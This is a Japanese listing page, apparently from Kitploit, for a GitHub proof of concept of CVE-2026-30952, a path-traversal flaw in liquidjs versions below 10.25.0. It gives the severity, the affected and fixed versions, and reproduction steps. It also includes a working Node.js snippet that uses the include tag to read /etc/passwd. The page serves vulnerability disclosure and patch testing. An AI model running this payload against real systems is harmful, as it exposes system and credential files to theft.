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CVE-2026-30952-PoC — PoC for CVE-2026-30952: liquidjsにおける、layout、render、includeタグ内の絶対パスを介したパストラバーサル(Path Traversal)の脆弱性。 | Kitploit
ツール/GitHubGitHub/morielharush/cve-2026-30952-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ
GitHubmorielharush/cve-2026-30952-poc

CVE-2026-30952-PoC

PoC for CVE-2026-30952: liquidjsにおける、layout、render、includeタグ内の絶対パスを介したパストラバーサル(Path Traversal)の脆弱性。

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5ヶ月前未レビュー

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CVE-2026-30952: LiquidJS パストラバーサル PoC

このリポジトリには、liquidjs ライブラリ(バージョン 10.25.0 未満)で発見された高深刻度のパストラバーサル脆弱性である CVE-2026-30952 の Proof of Concept(PoC)が含まれています。

著者および研究者:

Moriel Harush Maor Caplan

説明

この脆弱性により、layout、render、include タグが絶対パスとともに使用された場合に、任意のファイルアクセスが可能になります。これは root ディレクトリが指定されている場合でも発生します。これは、ライブラリのフォールバックメカニズムが、解決されたパスが意図したルート内に留まるかどうかを適切に検証できないためです。

影響: 攻撃者がテンプレートの内容またはこれらのタグに渡される変数を制御できる場合、機密ファイル(例: /etc/passwd、環境ファイル)を読み取ることができます。


脆弱性の詳細

  • CVE ID: CVE-2026-30952
  • GHSA ID: GHSA-wmfp-5q7x-987x
  • 高(8.7/10 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N)
深刻度:
  • 影響を受けるバージョン: < 10.25.0
  • 修正済みバージョン: 10.25.0

  • Proof of Concept(PoC)

    root@kitploit:~
    const { Liquid } = require('liquidjs');
    const e = new Liquid({ root: ['/tmp'], partials: ['/tmp'], dynamicPartials: true });
    e.parseAndRender('{% include page %}', { page: '../../../etc/passwd' }).then(o => console.log(o.slice(0,500)));
    
    image

    前提条件

    • Node.js がインストールされていること
    • 脆弱性のあるバージョンの liquidjs(npm install [email protected])

    再現手順

    1. このリポジトリをクローンします。
    2. npm install を実行します。
    3. エクスプロイトスクリプトを実行します:
      root@kitploit:~
      node exploit.js
      
    ツールをダウンロード